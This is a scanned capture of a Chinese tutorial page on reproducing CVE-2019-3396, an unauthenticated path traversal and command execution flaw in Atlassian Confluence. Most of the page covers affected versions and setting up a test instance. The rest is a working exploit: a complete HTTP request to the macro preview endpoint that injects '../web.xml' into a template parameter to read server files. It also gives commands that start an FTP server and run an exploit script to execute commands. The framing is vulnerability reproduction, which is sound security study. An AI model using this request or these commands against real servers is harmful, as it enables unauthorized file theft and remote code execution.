www.codebaoku.com Open in urlscan Pro
47.101.48.62  Public Scan

URL: http://www.codebaoku.com/tech/tech-yisu-498877.html
Submission: On November 02 via manual from JP — Scanned from JP

Form analysis 1 forms found in the DOM

GET /search

<form action="/search" method="get" target="_blank">
  <input class="placeholder" id="kw" name="kw" placeholder="请输入搜索内容" autocomplete="off" value="">
  <input type="submit" class="hide">
</form>

Text Content

编程宝库 - 技术改变世界

编程宝库


 * 首页
 * Java
 * Python
 * Go
 * JDK下载
 * C
 * PHP
 * Rust
 * HTML/CSS
 * JavaScript
 * 数据库
 * 编程规范

 * 首页
 * Java
 * Python
 * PHP
 * Go
 * C
 * JS
   Search

编程技术
sql2008r2如何附加数据库 sql2008r2怎么创建数据库 Laravel中怎么用Saloon进行API集成
React怎么使用useEffect解决setState副作用 es2017是es8吗 es6怎么求数组最大值 es6数组怎么删除最后一个元素
es6怎么修改数组的值 node怎么实现单点登录系统 net framework如何模拟鼠标 net framework如何手动安装下4.0或更高版本
jQuery中队列queue()函数如何使用 jQuery如何实现判断1秒内无输入 怎么用js代码求时间差 js计算时间差代码如何写
Bootstrap滚动监听插件如何使用 jQuery UI库中dialog对话框功能怎么使用 AgileBoot项目内统一的错误码如何管理
jQuery中Deferred的deferred.promise()方法如何使用 JS如何循环遍历json数组 Bootstrap警告框插件如何使用
jQuery siblings()如何使用 Bootstrap工具提示插件如何使用 怎么使用JS组件Bootstrap实现下拉菜单效果
怎么使用jQuery插件imgAreaSelect实现截图功能 activemq的broker如何实现 怎么使用jQuery UI库开发Web界面
Bootstrap网格系统如何使用 C#中泛型集合的使用方法有哪些 C#复制数组的方式有哪些
如何浅谈Apache Struts2 RCE漏洞CVE-2020-17530
怎么进行structs2-061远程命令执行漏洞复现及poc编写


ATLASSIAN CONFLUENCE路径穿越与命令执行漏洞CVE-2019-3396怎么复现

本文讲解"Atlassian Confluence路径穿越与命令执行漏洞CVE-2019-3396如何复现",希望能够解决您遇到的有关问题,下面我们来看这篇
"Atlassian Confluence路径穿越与命令执行漏洞CVE-2019-3396如何复现" 文章。

Atlassian
Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

影响版本

Confluence 1.*.*、2.*.*、3.*.*、4.*.*、5.*.* Confluence
6.0.*、6.1.*、6.2.*、6.3.*、6.4.*、6.5.* Confluence 6.6.* <
6.6.12 Confluence6.7.*、6.8.*、6.9.*、6.10.*、6.11.* Confluence 6.12.* <
6.12.3 Confluence 6.13.* < 6.13.3 Confluence 6.14.* < 6.14.2

当前系统环境Confluence Server 6.10.2:

环境启动后,访问http://your-ip:8090会进入安装引导,选择“Trial installation”



之后会要求填写license key。



点击“Get an evaluation license”,(需gmail账号)去Atlassian官方申请一个Confluence
Server的测试证书(不要选择Data Center和Addons):



确认安装的ip



然后点击Next安装 。(建议使用4G内存以上的机器进行安装与测试)本人是8G亲测可以



配置系统管理员账户





装完成之后 新建一个话题,然后,其他宏>小工具连接器





编辑抓包



任意文件读取

发送如下poc,即可读取文件web.xml:



POST /rest/tinymce/1/macro/preview HTTP/1.1

Host: xxx.xxx.xxx:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101
Firefox/84.0

Accept: text/plain, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/json; charset=utf-8

Content-Length: 168

Origin: http://xxx.xxx.xxx.xxx:8090

Connection: close

Referer:
http://xxx.xxx.xxx.xxx:8090/pages/resumedraft.action?draftId=65587&draftShareId=3aae85b8-030c-44bb-b8f4-d33a1771591c

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

命令执行

python -m pyftpdlib -p 21

python RCE_exp.py http://xxx.xx.xx.xx:8090 "whoami"



关于 "Atlassian Confluence路径穿越与命令执行漏洞CVE-2019-3396如何复现" 就介绍到这。希望大家多多支持编程宝库。


下一节:怎么进行STRUCTS2-061远程命令执行漏洞复现及POC编写


编程技术 和 程序设计

如何进行structs2-061远程命令执行漏洞复现及poc编写:本文讲解"怎么进行structs2-061远程命令执行漏洞复现及poc编写",希望能够解决您遇到的有关问题,下面我们来看这篇
"怎么进行structs2-061远程命令执行漏 ...

如何浅谈Apache Struts2 RCE漏洞CVE-2020-17530
怎么进行structs2-061远程命令执行漏洞复现及poc编写
分类导航
 * Go语言
 * Java语言
 * Python语言
 * C/C++/C#
 * Rust语言
 * JavaScript
 * PHP语言
 * 数据库
 * HTML/CSS
 * 脚本语言
 * 服务端编程
 * 开发工具
 * 软件工程
 * 软件架构
 * 区块链
 * 电子电路设计
 * 大数据和分析
 * 移动和客户端开发
 * 常用软件

编程宝库 备案号:京ICP备2021011354号    微信号: bkra50
友情链接: 腾讯企业邮箱   棋谱88   瑞士卢森地板   figma   无人售货机系统方案   蜀门   合肥白癜风医院   灯榜志愿   小说阅读网  
韩国电商平台    加速器下载   呼叫系统   中关村科金   蜀门   手游开服时间表   重庆牌具   济南装修公司   视频直播sdk  
境外服务器   智慧医疗   电影天堂   暗区突围辅助    APK反编译   水纹问答   源码下载   搜外友链   蜀门